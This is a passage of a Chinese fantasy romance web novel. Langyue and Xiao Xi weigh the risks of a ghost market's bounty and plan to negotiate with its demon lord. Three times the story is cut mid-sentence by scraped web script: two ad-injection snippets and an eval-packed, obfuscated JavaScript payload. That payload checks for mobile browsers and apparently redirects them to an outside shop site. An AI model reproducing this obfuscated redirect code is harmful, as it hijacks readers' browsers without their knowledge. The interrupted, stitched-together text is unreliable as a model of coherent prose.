朗月不再愁眉,他慢慢转眸看向眉眼弯弯的萧喜,紧张地解释道:“那个时候我与你并不熟悉,并且你和小黑并不一样。” “哪里不一样?”萧喜托腮说道。 朗月默默攥紧了手,感受着手心中不断冒出的热流,因为,他也不知道问题的答案。他只是很不愿意看到一直走在自己身边的同伴,因为陌生人的介入,而逐渐偏离自己,他更不想看见那个陌生人用格外亲昵的语气跟萧喜说话,就像小黑一样,他会感到心理不平衡,没错,他会因为把持不住的不平衡感而感到心神紧张。 他不会对其他人有这种感觉,因为萧喜是特殊的存在。 他没法面对萧喜说出问题所在之关键,不仅是因为自己解释不清楚答案,也是因为他无法面对自己的内心罢了。 在沧凌城,他曾经答应过萧喜要慢慢敞开自己心扉,可是他还是……有点做不到,尤其是在身处这个无时无刻都让他倍感焦虑和窒息的盛京城。 若不是不久前的睡眠足够安稳,他觉得自己本该像从前一样,做一场有关母亲丢弃自己的梦境。想到这里,他默默将一只手藏到身侧去,碰上挂在自己腰间的、曾差点被窃走的昭玉,冰凉的触感似乎给他带来了诸多心灵上的慰藉。 萧喜看朗月默不作声着,只好自己发话:“其实我倒是希望你会说,我和小黑是一样的,因为陌生和聒噪,你才会感到排斥。而不是因为你觉得我们人妖有别,所以对小黑特殊对待。我很想慢慢改变你对人和妖的刻板印象,小黑的作用定会很大,不过,其实你已经做得很好了。我提这个,本来是想鼓励你一下的。” 朗月其实比萧喜想象得要更厉害些,早在芍七走后,他就已经改变了所谓的刻板印象。所以他刚刚说的“不一样”根本不是在说人妖有别,萧喜这是误会了他。 但奇怪的是,就是这个误会让他松了一口气。因为就是这样,萧喜才不会怀疑他暗藏于心而又蠢蠢欲动的不纯念头。 他抿了抿干燥的唇,抬首看萧喜,只是说道:“我明白。” 他没有打破这个误会存在的意义。 很快,萧喜就切换了话题,她说及小黑曾经告诉她的关于“黑市”的消息,以及那神秘莫测的中元夜“悬赏令”。 她说:“我今天仔细结合昨天的经历想了想,觉得我们可以直接从悬赏令这里寻找突破口,这是最快的方法。但是我知道它的风险很大,不光光是说昨晚我和小黑被追杀的那种事情,还有狐妖偷袭我的事情,所以我比较犹豫,想听听你的看法。” 朗月依言思索片刻,说道:“的确很有难度,不过,你既然能有办法留住小黑,我想还是能找到切入点的,譬如从他身上拿什么东西可以遮掩我们身上的气息,以及,从他那里获取我们并不熟悉的盛京城的消息,从而节省我们打听的时间,以免遭人暗算。” “没错。”萧喜颔首。 “切入点可以找到,但风险定然比你想的还要多。” “什么……意思?” 149. 鬼面妖市(6) 朗月虽然很理解萧喜现在的心情,但这不是该绕弯子的时候,他直截了当地说道:“要知道,我作为仙机门弟子,却从未听说过鬼市这种地方。这足以证明,它诞生的时间并不长,关键在于鬼市妖主,他的能耐定然非常大,否则不可能以一己之力护住这块地方,长达多年且至今无人知晓。” “在此之前,若说无一修真弟子听说鬼市传闻,这不可能,难道我是第一个特殊之人?”他继续说道。 萧喜沉着神色摇摇头。 朗月颔首道:“没错,修真门派体系庞大,我觉得命运不会偏偏选中了我去当这第一位揭秘秘密的人,而是曾经有过无数前仆后继之人,却在最后都消失了,死人才是封锁秘密的绝佳人选。你刚刚也跟我说过,鬼市妖主用揭榜人数有限的手段来养出最能办事的蛊,从这儿也能看出他是个为达目的不择手段的妖怪。所以就算我们能找到进入鬼市的切入点,但挑战很大,生死存亡可能仅在鬼市妖主的一念之间。” 萧喜听得后背一悚,她叹了一口气:“哎,那接下来我们该怎么办?风险太大的话,悬赏令的事情我看还是算了。” 朗月顿了顿,补充道:“当然也有另外一种可能,六年前朝廷为了解决遍布天下的血蠕,曾和仙机门联手,但事后,师父告诉我,朝廷为了守住全天下最绝对的权威,不希望修真门派干预国政,所以和我们签订过一项协议,严禁包括我们仙机门在内的等等一切修真门派,在没有朝廷特殊传唤的情况下,绝对不可进入沧凌城、盛京等等繁华地段。” “我想你在沧凌城就怀疑过,为何没有除了我以外其他的修真门派弟子了,这就是原因。既然如此,鬼市现世的时间又不长,就能说明了鬼市妖主可能是借助了那条协议的力量,才让鬼市不为人知的。也许,鬼市妖主没我们想得那么可怕,我刚刚仅是事先将事情往最坏的地方考虑罢了。” 朗月看着她,觉得最好还是再添上一句比较好。 “别太担心。” 萧喜迟疑了一会儿,但想到朗月竟然主动告诉她协议的事情,她也没必要再遮掩疑惑:“既然有那种协议,你是怎么能出现的?” 朗月神色平静:“我能出现在这些地方,都是我师父安排的,他是协议的缔造者,只要他准肯,我就能做一切他想让我做的事情,不管是违背协议,还是被欺瞒。” “监守自盗二字,仙机门门主写得才最漂亮。”萧喜冷笑一声。 “如你所见,一开始我只以为自己要去的地方是平台镇,后面沧凌城之事是我师父以情况紧急为由召我过去的,现在虽然看起来是我自己请愿来盛京的,但实际上我在最初出发前,师父就有意将我指引过来。我的确对师父的抉择深信不疑,直到经历了沧凌城种种事情后,我的观念才改变了。” 他转眸看向了窗外阴沉沉的天,尽管他的神色是自若的,但他的心境却和这天色一般无二,他叹了一口气,几乎微不可闻。 “你释然了么?”萧喜问他。 他依旧望向外面的天色,淡道:“……是。” “你骗我了。” “为什么这么肯定?” “因为你最讨厌的事情就是被欺骗,”萧喜移开梳妆台,慢慢走近他,挡住了他看向窗外的视线,朗月怔怔的将目光定在阴影模糊的人影上。 “朗月,你应该抬眼仔细看看我,再告诉我实话。” 朗月没有动。 萧喜便微微俯身下去,用手臂撑着屈下的双膝,低下的目光刚好能与朗月的视线平行。 她的举动超出朗月的预料,所以没有立刻避开她的目光,但还是让她看到了自己微微湿润的眸子。 “对不起,我还是做不到对你敞开心扉,我又骗了你。”他垂着眼神,像个做错事的小孩,模样甚是委屈。 “不,你已经做地很好了。其实你没必要习惯于审视自己的,你对我来说是不可多得的好朋友,在我身边,你可以做自己,而不用做那个被师父掌控乃至被欺骗的仙机门弟子。”萧喜耐心安抚道。 朗月应了声“嗯”,萧喜看他情绪稳定后,就放下了芥蒂,直接坐到了他身边,侧眸问他:“要是我的直觉没有出错的话,你刚刚说出协议之事,不会仅出于无意之举吧,毕竟这些事情我全部不知道。” 朗月暗暗感叹萧喜惊人的思维敏感性,他毫无遮拦地说道:“你还记得上个月我们去庆阳镇的那个夜晚,你说过的话吗?当然倾听者非我,而是那个伪装成我的蜡人。” 萧喜按照他给出的时间,大脑自动索引到了过往不太好的记忆—— “但我总有一种错觉,觉得昔日那些曾经也在这条街上好好生活着的人们也都和我一样,活着,活在这里,甚至活在我身边。” “所以我没有想过我还有一日再回到这里,我并非不愿回来,只是不敢。好像,一回来,那些人的面孔就都浮现出来了,那样的话庆阳镇就还如从前一般,我可能会留恋,会走不出去,会把自己囚禁在这里。但矛盾的是,我却必须逼着把这一切都记下来。” …… “曾经我抱怨过为何你们仙机门的人会放任血蠕扩张许久……为何不能早一些到来,或许大家就不会死了。但是后来我出走四方,发现世上有无数的庆阳镇,人们都说四方有难,而仙机门的力量有限,根本做不到力保全健,能灭了蠕就谢天谢地了,让我不必抱怨。” “但我却没想到,当时参与此事的也有朝廷,既然如此,力量何以得不到保证?那么仙机门为何依旧来迟?陈老先生也说过,自从出事后,朝廷也是装作什么都不知道模样,甚至也不许世人知晓。这让我不禁怀疑,大家是不是有意放任……” 因为这些事情才过去不到一个月,大体上萧喜基本都记得。 她震惊地问道:“这些是青灯转告给你的吗?” 朗月承认道:“嗯。她当时应该是想利用你的这些事情,让我尽快看清仙机门的真面 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 目。她确实做到了。我想这些让你苦恼的问题虽然没有被我亲耳听到,但我觉得或许现在回答给你并不算太晚。如你所想,朝廷和仙机门有很多联系,庆阳镇的事情的确另有蹊跷,协议的存在足以证明这一点。” “其实这些……我本就猜想到过,你可以不用特地告诉我。我想,你就这样对着我一个外人说出来这些机密,会不会给你带来负担?”萧喜咬着唇,手指不自觉地扣起床板上凹凸不平的原木纹路。 朗月温和地看着她,只是摇摇头:“你不是外人,你是那些过往的亲历者,也是极有可能被仙机门伤害过的人,你本就该有知情权。与其什么都不说,就看着你在迷茫的过往中徘徊不断,这才会成为我的负担。” 萧喜抬眸,与他柔和平静的目光对上,她感觉到自己的心脏又开始不受控制地加速颤动了,甚至觉得时间变静止了,才会让她觉得眼前的一切多么宁和,又多么令她依赖。 然而时间静止不过只是她的幻想而已。 朗月很快就站起了身,对她说道:“虽然你什么都没说,但我明白你之所以会对悬赏令这么在意,其实还是因为……你想通过悬赏令来找到金瑶蒂的下落吧。所以不管这件事怎么困难,我也会试试。我会尽快想出对策再加以筹备,不过需要你辛苦些,把小黑管好,不可让他泄露我们的身份,以及与我们来往时交流的内容。” “没……没问题!”萧喜连忙跟着他站起来。 朗月投入思路的速度一直很快,与他行动上的执行力堪称绝配。 “先让小□□我们从他的圈子里套出些消息比较好,一来可以先我们探探盛京城的底,说不定能找到异常的地方。二来可以帮我们找到更多关于鬼市妖主的讯息,从而验证悬赏令的含金量,看其有没有必要让我们冒风险。” “好的,我下午就开始准备小黑那边的事宜。”萧喜的回答也很利索。 “前提是,我们得好好休息才行。”朗月推开了屋子的门,他站在门槛处,对着屋子里站着的萧喜做了个“请”的动作,说道。 不久前恨不得跳出胸腔的心脏好似还未平复,萧喜现在的反应因此变得略微迟钝,她张大了眼睛看着朗月:“啊?” 朗月无奈地扫了扫眼风,示意她下楼:“走吧,先吃饭,我请客。” “哦。” 萧喜忙跟上去。 她走在距离朗月接近一尺的身后,一边走着一边抚着胸口,试图用顺气的方法缓解狂热心跳的后遗症。 她垂眸盯着朗月的脚后跟,默默抿紧了唇,这种感觉在今天之前也有过,但是却是一次比一次强烈的。 她……好像的确控制不住自己这样,就像控制不住自己对朗月产生好感一样。 可是,现在不该是她考虑这种事情的时候,他和她都没有任何准备好的意思……更何况这种“好感”仅仅是她的一厢情愿呢。 萧喜用这样的想法说服了自己,她苦涩地笑了笑。 150. 满月悬令(1) 萧喜和朗月简单用完饭后,朗月就逼着萧喜去睡了趟午觉,醒来后刚好日侧。 她按照提前和朗月商量过的时宜,准备了一套适用于小黑的说辞,准备靠他帮自己找些线索。过程进展地意外地顺利,小黑简单地跟她和朗月叙述了一番他在盛京的见闻,不过其实他并不是常年待在盛京的妖,所以说出的消息不过是浮于表面之事,没什么实际性的作用。 好在小黑跟他们说过,自己有几个常年待在盛京的妖怪朋友,并且,前几天他之所以能打听到鬼市悬赏令,也多拜这些朋友所赐。所以,他应该可以从那些朋友中问到更深入的事情。 朗月跟小黑交代说,距离揭下悬赏令还剩四日的时间,希望他不用太过紧张,因为他有预感,时间越是往后推,有些一开始藏得较深的东西也会慢慢浮出水面,说不定可以令他打听到更有意义的事情。 可惜的是,自从小黑确认朗月不会伤害他后,他就有恃无恐了起来,对于朗月的提议,他是概不听从,为妖颇有几分傲气在身。 萧喜其实能隐隐感觉到小黑对朗月的敌意,这让她觉得颇为无奈甚至好笑。她认为小黑身为妖,本就忌惮修真门派的弟子,加上当天朗月对他下手确实狠了一点……所以敌意还是有迹可循的。 但朗月却没有这么想。他认为小黑争宠的行为,可不是简简单单的能用修真门派和妖族之间的世代隔阂解释的。 最后,还是萧喜稍微委婉平和地复述了一下朗月的话意,小黑才答应下要求的。 朗月像个局外人一般,看着他们两个有来有往着,嬉笑不断,心想,萧喜又一次在自己面前帮小黑说话了,他觉得胸气不顺。 萧喜对朗月的反应早有预料,她送走了小黑后,迅速切换好状态,笑嘻嘻地道:“哈哈,你别理他,他这是记你仇呢,再忍忍几天就好了。我相信你会成功的,毕竟在平台镇的时候,你可是整整忍了我近半个月!” 她给朗月竖了只大拇指。 朗月心不在焉地瞥了一眼她的大拇指,心有怨言却无从说起。 他不是因为这个原因生气的。真正搅得他心乱的罪魁祸首可不是小黑,而是她。但是直到现在,她还在帮那只黑猫妖说话……算了。 他觉得自己现在需要静静,说道:“好的。” “你先回你的房间吧,我需要想一些事情。” “鬼市的悬赏令吗?哎,真卖力!我也要加油了!”萧喜由衷地感叹了一声,然后就拍拍手掌,轻快地出了屋子,还贴心地给他关紧了房门。 朗月听到一声干脆的合门声,又不耐烦地敛了敛眸子,最后干脆阖眸。 居然真就这么走了…… 他用力甩了甩倍感矛盾的脑袋,扪心自问,朗月你现在到底在干什么?!清醒一点! …… 剩下来的几天里,朗月萧喜这边跟小黑基本上属于分头行动,平日理应见不上面,但小黑自认与萧喜缘分匪浅,每日都要过来安排些和任务无关的问候。 对了,这些问候和朗月统统没有关系。 小黑的这种无视行为与挑衅几乎没有区别,因为他每次一跟萧喜搭上话,就会莫名朝朗月投过去得意洋洋的目光,这几乎踩中了让朗月忍无可忍的极限边缘了,得亏每次都有萧喜在旁边给小黑托底,悬崖勒马,以消仇怨,否则后果当真是不堪设想。 在距离揭下中元悬赏令之事还有一天的时间里,小黑在当天早上又跳进了萧喜屋子上的窗。 甫一进来,小黑就跟目着一张脸的朗月打了个照面,正当两人面面相觑、谁也不搭理谁时,萧喜轻咳两声以示存在感。 她掐掐手指,说道:“额……鉴于你大前天……嗯还有前天,以及昨天突然闯……不对,我是说鉴于你这几天都有早上光顾的习惯,我这不省得再多跑腿去隔壁喊朗月么,这便直接叫他一起坐这儿等着了。” 说实话,她的真实体验可远远没有话里表示地那般美好。前几天小黑突如其来的动静,几乎每一次都能把萧喜吓一跳,搞得她这几天都快戒掉赖床的习惯了。她料想今日的小黑,应该还会照常过来“问候”,保险起见,她还是直接叫朗月提前过来等着了。毕竟她也不知道小黑会在什么时候突然冒出来,有个人在自己旁边,倒不容易被吓到。 “哦……”小黑对此不予置评,但是他还是狐疑地扫了朗月一眼。 这孩子! 萧喜心惊,刚要出言制止,谁承想,小黑的语出惊人直接叫她闭上了嘴。 “你待在阿喜的屋子里,最好真的只是啥也不干。阿喜姐姐可不是你能觊觎的人物,你必须得老实一点!”小黑的语气极为不善,他气势汹汹地叉着腰,丝毫不畏惧朗月蓄满寒凉之意的面色。 “啥?”萧喜惊得眼珠子都要掉下来了,她赶忙上前,想要挡到他们两个人中间,因为她已经提前感觉到了空气中逐渐变化的那股微妙的气氛了,还是不妙的气氛。 朗月这次出奇得较劲,他站好身子,抬手止住萧喜靠过来的动作。 他嘴角出现了久违的、意味不明的笑容,这种笑容象征的意义,萧喜早已摸清楚,她默默抹额,皱着脸咂嘴叹息。 他个子本就高,在这只个头跟萧喜差不多高的小黑猫面前,他完全是用一种带着压迫性的居高临下的目光俯视对方的,他挑眉道:“怎么,我貌似成为了你追求萧喜的竞争者?那萧喜身上肯定有什么你特别崇拜的东西吧,说说看?” 萧喜:“哈?” 小黑刚开始的确是被朗月身上腾腾往外冒的煞气压迫过,但这个奇怪的问题顷刻消除了他的那种感觉,他兴奋不已地一边回想初见萧喜那个夜晚的美事,一边眼冒金光地说道:“在月黑风高的夜晚,我看着阿喜姐姐风姿卓越地站着高高的屋脊上,夜风吹过她满是坚毅又完美无暇的面容!她就这样骄傲地对着那些猥琐至极的妖怪大放豪言!” 萧喜看着小黑清嗓的模样,伸手扑过去要堵他的嘴,却还是晚了一步。 小黑模仿起萧喜那晚的不羁动作,学得有模有样,他大叫:“长得真他妈丑!也不撒泡尿照照自己!怎么好意思调戏像我这样的绝世大美人?!” 朗月:“…….” “就像这样。最后阿喜姐姐就左一拳右一拳摆平了眼前所有的敌妖!多帅啊!嚯嚯嚯!” 小黑蹲起马步,挥起猫拳,还不断朝萧喜目送秋波。 “绝世大美人!对不对,阿喜姐姐?!” 被补刀的萧喜:“……” 她原本是无语到脸面僵硬的,却无意间看到了朗月有意无意往她身上瞟的……意味不明的眼神,就顿时羞红了脸蛋。 果然未经他人苦,莫劝他人善啊,她算是理解朗月了。 “送客送客!”她忍着羞意,连忙冲小□□。 “别啊别啊,我话还没说完呢!这次我是带着大发现来的!”小黑焦急道。 朗月收敛起神色,抬眼示意了萧喜一番。 “咳咳,什么发现?”萧喜尽量挤出一个笑容出来,以便缓和气氛。 “那个什么月说得倒是不错,”小黑意有所指,但眼神却没特地斜到朗月那边去,他继续道,“确实越是临近明日,我从妖界那边捕捉到的小道消息就越来越多,最近传得比较火热的是盛京妖力衰微的传闻,这个很令大家怀疑,据说明晚的悬赏令就跟它有关系呢。” “妖力衰微?小黑你能说得清楚些吗?比如这是什么时候开始的现象,出现的范围有多大,以及这个传闻具体是从什么地方或者群体传出来的?大家又为什么会单单认为这个传闻会跟悬赏令有关系呢?”萧喜尽量放慢语速,将问题一个一个地抛出去,好让小黑理清脑子里的思绪。 “据说……这个现象已经出现很久了,范围夸张到能覆盖下整座盛京城,至于传闻具体传开的时间的话,我也不好讲清楚。因为,据说这个传闻在内部一直都是存在的,厉害的妖怪会更早知道,而我们这些居于多数的小妖怪就知道得比较晚了,就像现在一样,很多妖今天才知道。大家为什么会觉得跟悬赏令有关的话……”小黑为难地摆着脑袋。 “不太清楚,毕竟我也是传闻的受众。” 朗月接着萧喜后面问道:“既然关系了这么多的事情,而且时间也很持久,同样身为妖的你怎么没有察觉到妖力衰微的事情呢?” “因为我太弱了啊!就算传闻是真的,我的妖力还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能衰微到哪里去啊?”被戳到痛处的小黑,不满道。 眼看着朗月的神色愈渐幽沉,萧喜连忙补道:“对啊对啊,小黑说得没错!哈哈,朗月你不是也听到他说,厉害的妖怪会更早知道传闻的话吗?越是厉害的妖遭遇到干预妖力的事情后,反应肯定要快一点啊,对吧对吧。” “对对对!还是阿喜懂我!”小黑的神情顿时云开见月。 朗月皱着眉头,忍着闷气,没说话。 紧接着,萧喜耍了些漂亮的嘴皮子,才好不容易把小黑送走。 屋子顿时陷入沉默,两个身影木然地立在里面。 萧喜探窗张望了望,在确认小黑的确走远后,她才好不容易松下一口气,正当她转过身来要安抚朗月情绪的时候。 朗月想都没想,道:“我知道你要说什么,放心,我没什么,毕竟我这个人的确很能忍。” 他话里带着的火药味意味不明,所以萧喜压根找不到切入点。 “那好吧,”萧喜刚要走出去的脚步又忽然踅回来,她想了想,觉得最好还是要为自己的面子战一战,“咳咳,刚刚小黑的话你可别信!你要知道,他这妖嘴碎,他现在对我的形象充满了不切实际的幻想,说的那些什么玩意多少带着他的臆想,你懂吧?” 她说罢还特地瞟了朗月一眼,但是他好像完全没有要回答的意思。 朗月此时静静地看着她,眼睛里面透露着一股茫然的意思,他现在明显是火气散去了。 她觉得,看他这反应……好像完全没有在意那些事情吧?那就好,她准备见好就收! 于是,她自己找了处台阶下:“你应该会懂的,我相信你。” 语罢,她迅速扭身要跑,却听到了身后传来一丝轻笑,准确来说,那应该是偷笑。 “不准笑不准笑!”她旋即踱回来,脸色涨红。 “你又没把事情说具体,怎么知道我在笑什么?”朗月摆出一副看似无意,眉宇间却深以为然的神情,说道。 他这分明是什么都知道的样子! 萧喜红着脸,道:“不许装傻!” “前提是,你也别装傻。” “臆想,喜欢一个人就是这样的?”朗月道。 “什么?”萧喜被他问得懵了,红温渐渐从她的脸上褪去。 “小黑喜欢你只是因为这些臆想而已,他崇拜的也仅仅是片面的你。”他很快被萧喜发蒙的表情瞧得不自在了,他默默移开目光,随便投射到其他不重要的地方去。 崇拜的…… 萧喜惊讶地张了张嘴巴,追问道:“你刚刚之所以会突然问小黑那种奇怪的问题,难道就是为了验证这个答案吗?” 她没给朗月“狡辩”的机会,旋即接道:“那你呢?我想想,说起来,你之前在沧凌城夸我的水平确实比小黑高多了,比起小黑,你对我的看法倒是全面些。哇,没看出来啊,朗月你也有这么幼稚的一面,在这种事情上都能较劲起来。” “我…….我的意思只是,你没有必要因为别人臆想中的自己而感到尴尬。”朗月被莫名窥清了心事,却想着着急忙慌地继续“狡辩”。 但其实,说实话,他自己也不清楚他的内心。 萧喜笑色未减,她虽然看出了朗月的想法,但并不觉得继续拆穿他是尊重他的做法。 她岔开了话题,笑容慢慢沉静下来,她有些怅惘地道:“小黑可能就是对我有好感吧,或者也仅仅是好奇心。他对我的看法虽然既片面又主观,但并不说明他的喜欢没有任何意义,因为这是种单纯的喜欢。” “但我肯定不会答应的,”她故作放松地叉起腰,对朗月挑眉道,“放心吧,我不会因为这件事和小黑有太多纠葛的,我懂你的顾虑。” 遗憾的是,萧喜这次并没有看出他真正的顾虑是什么。 朗月滞住,他不禁问道:“为什么?” “可能……我已经不适合拥有这种单纯的喜欢了吧。”萧喜笑了笑。 “是吗……” 他心情有些复杂,直到萧喜走出了屋子,这样的心绪还一直交织在他的脑海里。 至今为止,他已经看不出来到底是谁在继续装傻了。 151. 满月悬令(2) 翌日,中元节—— 今天的天气依旧是雾蒙蒙的,甚至还下起了毛毛细雨,雨水带着气温急速下降,这估计会让披着单薄衣物的萧喜和朗月觉得不舒坦。 好在早在昨天傍晚出门查探情势的时候,他们就买了两套面料稍微厚实点的新衣物。 萧喜换上白底樱桃粉撒花长绢的长裙,将乌黑的发撇在一侧肩头上,脑后用了一只简单的粉色发带绑好固定发丝的蝴蝶结,长长的发丝顺着她的肩头滑落在她的前胸,微微托着她脖间挂着的蛾翼吊坠,整个人看起来既慵懒又俏灵。 她踏出屋子,准备喊朗月起来一起跟她下楼用早膳,她透过朦胧的门纸,看到朗月的身影,便知道他也醒了,索性扣了两声门板子,没等对方说话就开门进来了。 却没想入眼的场景,竟让她生出了几分留恋之意。 毕竟谁不会喜欢好看的事物呢? 朗月换上了那件渐变蓝绿作底的镶金边云祥纹长袍,白玉乌木簪子束着脑后一缕发,其余的长发便跟她一样,梳齐后简单地披在脑后和身前,俨如墨色的长瀑布。他正背手站在敞开的窗子前,看外面落雨打叶,气质清幽,不染一丝尘埃。便是这样贵气的衣饰,也能让他穿出一副清冷的姿态来。 听到萧喜的开门声后,他才渐渐收神,转身看她。 正在朗月侧身的间隙里,那大敞的窗子带进一阵冷风进来,被扑了些细雨珠的萧喜不禁眯起眼,瑟缩了缩脑袋。 朗月将窗子合上后,才正式朝萧喜走来。 “虽然昨日我见过这件衣裳,但如今亲眼看你穿上,感觉还是与众不同的!”萧喜用不掩欣赏的口吻感叹道。 “你也是,很漂亮。”朗月眼神在她身上绕了一圈,面露真诚而略显克制的笑,这的确是发自真心的赞赏。 萧喜笑笑,道:“你刚刚一个人在想什么呢?” “有些和鬼市有关的、比较奇怪的矛盾点让我不禁留意,可惜的是,我现在才开始着手思考了。不过,刚刚我恰好抓住了些苗头,待会我们再讨论讨论,看看能不能确定好答案,这说不定能直接决定我们今晚行动的风险大小。”朗月说道。 “没问题,”萧喜挠了挠腮,才补道,“那吃完饭商议的话,应该也不算晚吧?” 朗月挑着眉,眼里放着笑意,摆头示意了一下门外。 “走吧。” …… 这几天里,这座小客栈的人流逐渐减少,至今已经寥寥无几了,作为常驻客的萧喜和朗月两人实在是显得格格不入。他们起得很早,整个客栈几乎就只能看到他们走动的身影。 客栈里的老板给他们端来粥后,就立马回到了柜台边,摇摇晃晃起脑袋,打起瞌睡。 他们捧着冒着白雾的云母粥,暖香扑鼻,喝下一口后,尽管口味清淡,但依旧带给了他们莫大的身心慰藉。 眼看周围的一切都是那般睡眼惺忪,他们便也没有了戒心,索性压着声音,一边等粥水冷下,一边说起正事来。 听完朗月的思虑后,萧喜斟酌了半晌,才颇为赞同地点头称道:“你的意思是,昨天小黑说的鬼市悬赏令的传闻,是有人故意放出来了,而那个人极有可能是鬼市妖主?他为了达到这个目的,甚至大费周章的筹划了鬼市悬赏一事,还顺其自然地让所谓的传闻传到几乎所有妖怪的耳朵里,从而让我们起不了疑心……” 但她又很快摇起头来,眉弓压低,疑道:“可是,我不明白,我们不是才来吗?那鬼市妖主筹备这么久了,包括妖力衰微的事情也是很早之前就有的传闻吧?他怎么会针对我们?难道又跟刹摩有关?” “不是针对我们,而是针对修真门派。”朗月指出重心。 “如今盛京城里除了我以外,应该不会存在其他修真门派之人了。人妖纷争百年来,能对妖族产生魄力的也就仅有修真门派之人。如若妖力衰微的传闻当真,鬼市妖主第一时间怀疑的就会是我这样的修真弟子。” 萧喜眉心动了动,紧张的神色也有所缓解,她开口道:“我知道你的疑虑在哪儿了。因为不知传闻真伪,所以我们暂时无法了解鬼市妖主的用意,不,其实,我们甚至连传闻究竟是不是有人在背后故意放出的都不能确定。” “是,关键就在传闻之上。”朗月敛眸沉声道,他的表情分明,也正好表明了他也没有找到头绪。 萧喜却不吭声了,她在脑海里一遍又一遍地放映起之前在鬼市的所见所闻,也一遍又一遍地尝试站到朗月的角度上去思考他刚刚提出的疑虑,半晌后,她才半惊半喜地张开了口:“或许,我们应该改变一下思维呢,思维角度的切换,足以改变我们对事物的猜测和看法。” “怎么说?”朗月耐心听她说话。 “站在你的思维角度上想问题时,我也会自动视传闻为关键,但如果我跳出这个思维角度,就会发现对我来说更为关键的地方,那就是鬼市妖主的行动,我们可以通过分析他的行为,来从侧面确定传闻的真伪与否啊。” 她眉眼弯弯,眼底铺满分明的笑意,清澈的眸光折射着精明的神气,她整个人在此时显得更为明媚了。 “的确,”朗月因她也感到恍然大悟,“毕竟相较于你来说,我对鬼市妖主的了解并没有你真切,所以我就会本末倒置地去寻找次要的切入点。” 萧喜点头,道:“是,毕竟我也是亲眼看到他治理的鬼市过的。据我所知,鬼市妖主忽然下发所谓揭榜人有限的悬赏令,引得越来越多的妖怪进入鬼市,很多老练的妖怪为了抢夺悬赏令的名额,不惜组起帮派,集体利用鬼市某些规矩的漏洞,围剿初来乍到的妖怪们,小黑就是一个典型的例子。 但小黑的表现也让我从另一面看到了,那些老练的妖怪正处于一种既疯狂又守规矩的矛盾状态中,他们连杀生这种事情都能做出来了,却还要竭力恪守鬼市的规矩,这说明了什么?不就是说,鬼市的规矩不容打破吗? 而且这种刻进骨子里的习惯绝不是一天两天就能养出来的,鬼市在妖主的带领下统一而壮大。 所以,鬼市妖主的想法就是鬼市所有妖怪的想法,他的规矩具有绝对的权威性,所以那些老练的妖怪们之所以能借助规矩杀人,也肯定是鬼市妖主所默许的。这些早在那个夜晚,我就想明白了。” “你与我说过,鬼市妖主似乎就是默许了这种情况后,用养蛊的方式筛选揭榜的最优选。”朗月续道。 萧喜没有一丝犹豫,她继续滔滔不绝道:“我现在对鬼市妖主想要的揭榜结果并不在乎,我认为最值得注意的、又恰恰容易被人忽略的事情是,鬼市妖主对鬼市所有的绝对控制权。” “他靠协约的疏漏创建鬼市,单独率领一方势力这么多年,眼看着鬼市的规模愈发扩大,他却没有任何反抗的动静。按道理来说,如果我们对鬼市妖主的看法,真的仅仅是由‘养蛊’推断出来的那样,片面的,残忍的,威严的,没有任何同理心的话,以他对鬼市所有的绝对控制权,他早就造反了,在完全没有修真门派干扰的盛京城,他完全可以占山为王,拿下绝对的胜利。” “但是,他没有这么做。”朗月思忖,客观而言。 “鬼市妖主应该不是一个为达目的,而不惜一切代价的妖怪,但他也绝对不会是个委曲求全的角色。他是一个习惯于停留在属于自己的圈子里,独立解决问题的妖怪,他享受这样绝对属于自己的控制感。” 萧喜自己打破了曾经在鬼市对鬼市妖主所下的定论,并且她敢确信,现在她改观后的想法才是真的符合事实的。 萧喜灌下碗里剩下的几口粥水,往桌侧靠着,打了个饱嗝,感叹了一句:“这是个很奇怪的妖怪。” “你看他这样城府极深、做事又不习于暴露的个性,怎么会唆使他,靠恨不得广昭天下的悬赏令,来达到自己想要的目的呢?朗月,这悬赏令可是有诈啊。” “妖族蜂拥,引人注目,名声大震,厮杀围剿,让你误以为鬼市乱成一锅粥。可惜,他没有料到,我早就提前进过鬼市,也提早看出了他‘养蛊’的用意。” 萧喜眸色晦暗,她唇角轻挑,暗含轻喟。 萧喜别具一格的思路挑起了朗月极大的兴趣,他说道:“所以我的想法半对半错,妖力衰微的传闻应该是真的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967765|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而鬼市妖主的确是在打修真门派的主意。不过他的用意其实根本没有表面上看起来那么暴露,反而他是个保守的妖怪,他这么做是想故意将真相包装为真伪难辨的传闻,从而把他的目标引入自己的地盘,再暗地解决。” “但就算如此,风险也是极大的。”朗月攻守观念保守,补道。 萧喜摆了摆头,无奈道:“自然是,但比起其他人妖纷争里的风险,这里的其实是最小的了。毕竟没有任何厮杀和斗争是没有风险的嘛,不过,我确信从中看出了鬼市妖主坚毅的另一面,他有一颗可悲又孤注一掷的决心,乃至在大局面前,不得不选择这样剑走偏锋的策略,用其他妖怪的牺牲吸引我们的眼球。他现在对人族和修真门派的看法就像是……你若不仁,就休怪我不义。” 朗月松下一口久压于心的气,眉眼疏淡,扫下清浅的眸光,口吻清明:“既然如此,我们就可以转变行动策略了,我们今晚入鬼市,不仅遭遇的风险会降低,还极有可能获得除了悬赏令以外更大的胜筹。” 萧喜不解道:“什么策略?” “谈判。”朗月答道。 “青灯曾经和我说过一些话——” “仙机门不会告诉你,血蠕大劫永远没有尽头。而我会告诉你,沧凌城,就是第二个庆阳镇。我也会告诉你,接下来还会有更多的庆阳镇,哪怕是盛京也不会逃过它的魔掌。你们仙机门只是治标不治本,救得了天下一时,却救不了这天下一世。” “天真!如若我说,沧凌城之所以出现妖气,是因为血蠕的规模已经有意延入妖界呢?!它迟早有一天,要颠覆了这三界!” …… 